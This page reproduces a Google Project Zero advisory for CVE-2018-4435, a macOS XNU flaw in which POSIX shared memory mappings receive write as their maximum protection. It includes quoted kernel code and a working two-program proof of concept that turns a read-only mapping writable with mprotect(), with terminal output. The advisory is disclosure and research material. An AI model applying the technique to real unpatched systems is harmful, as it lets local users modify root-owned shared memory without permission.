what you don't know can hurt you

XNU POSIX Shared Memory Mapping Issue

XNU POSIX Shared Memory Mapping Issue
Posted Dec 11, 2018
Authored by Jann Horn, Google Security Research

XNU POSIX has an issue where shared memory mapping have an incorrect maximum protection.

tags | exploit
advisories | CVE-2018-4435
MD5 | ac2760f95d5d33a22ed9bc8cebfab544

XNU POSIX Shared Memory Mapping Issue

Change Mirror Download
XNU: POSIX shared memory mappings have incorrect maximum protection 

CVE-2018-4435


When the mmap() syscall is invoked on a POSIX shared memory segment
(DTYPE_PSXSHM), pshm_mmap() maps the shared memory segment's pages into the
address space of the calling process. It does this with the following code:

int prot = uap->prot;
[...]
if ((prot & PROT_WRITE) && ((fp->f_flag & FWRITE) == 0)) {
return(EPERM);
}
[...]
kret = vm_map_enter_mem_object(
user_map,
&user_addr,
map_size,
0,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
vmk_flags,
VM_KERN_MEMORY_NONE,
pshmobj->pshmo_memobject,
file_pos - map_pos,
docow,
prot,
VM_PROT_DEFAULT,
VM_INHERIT_SHARE);

vm_map_enter_mem_object() has the following declaration:

/* Enter a mapping of a memory object */
extern kern_return_t vm_map_enter_mem_object(
vm_map_t map,
vm_map_offset_t *address,
vm_map_size_t size,
vm_map_offset_t mask,
int flags,
vm_map_kernel_flags_t vmk_flags,
vm_tag_t tag,
ipc_port_t port,
vm_object_offset_t offset,
boolean_t needs_copy,
vm_prot_t cur_protection,
vm_prot_t max_protection,
vm_inherit_t inheritance);

This means that `cur_protection` (the initial protection flags for the new memory
object) will be `prot`, which contains the requested protection flags, checked
against the mode of the open file to ensure that a read-only file descriptor can
only be used to create a readonly mapping. However, `max_protection` is always
`VM_PROT_DEFAULT`, which is defined as `VM_PROT_READ|VM_PROT_WRITE`.

Therefore, an attacker with readonly access to a POSIX shared memory segment can
first use mmap() to create a readonly shared mapping of it, then use mprotect()
- which is limited by `max_protection` - to gain write access.


To reproduce:

In terminal 1, as root:
=========================================
bash-3.2# cat > create.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <unistd.h>
#include <stdio.h>
int main(void) {
shm_unlink("/jh_test");
int fd = shm_open("/jh_test", O_RDWR|O_CREAT|O_EXCL, 0644);
if (fd == -1) err(1, "shm_open");
if (ftruncate(fd, 0x1000)) err(1, "trunc");
char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) err(1, "mmap");
printf("map[0] = 0x%hhx\n", (unsigned char)map[0]);
printf("press enter to continue\n");
getchar();
printf("map[0] = 0x%hhx\n", (unsigned char)map[0]);
}
bash-3.2# cc -o create create.c && ./create
map[0] = 0x0
press enter to continue
=========================================

In terminal 2, as user:
=========================================
Projects-Mac-mini:posix_shm projectzero$ cat > open.c
#include <sys/mman.h>
#include <fcntl.h>
#include <err.h>
#include <stdio.h>

int main(void) {
int fd = shm_open("/jh_test", O_RDWR);
if (fd == -1) perror("open RW");

fd = shm_open("/jh_test", O_RDONLY);
if (fd == -1) err(1, "open RO");

char *map = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) perror("map RW");

map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, fd, 0);
if (map == MAP_FAILED) err(1, "map RO");

if (mprotect(map, 0x1000, PROT_READ|PROT_WRITE)) err(1, "mprotect");

map[0] = 0x42;
}
Projects-Mac-mini:posix_shm projectzero$ cc -o open open.c && ./open
open RW: Permission denied
map RW: Operation not permitted
Projects-Mac-mini:posix_shm projectzero$
=========================================

Then, in terminal 1, press enter to continue:
=========================================

map[0] = 0x42
bash-3.2#
=========================================

This demonstrates that the user was able to write to a root-owned POSIX shared
memory segment with mode 0644.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    28 Files
  • 2
    Nov 2nd
    1 Files
  • 3
    Nov 3rd
    1 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    19 Files
  • 6
    Nov 6th
    65 Files
  • 7
    Nov 7th
    22 Files
  • 8
    Nov 8th
    18 Files
  • 9
    Nov 9th
    1 Files
  • 10
    Nov 10th
    1 Files
  • 11
    Nov 11th
    11 Files
  • 12
    Nov 12th
    65 Files
  • 13
    Nov 13th
    27 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close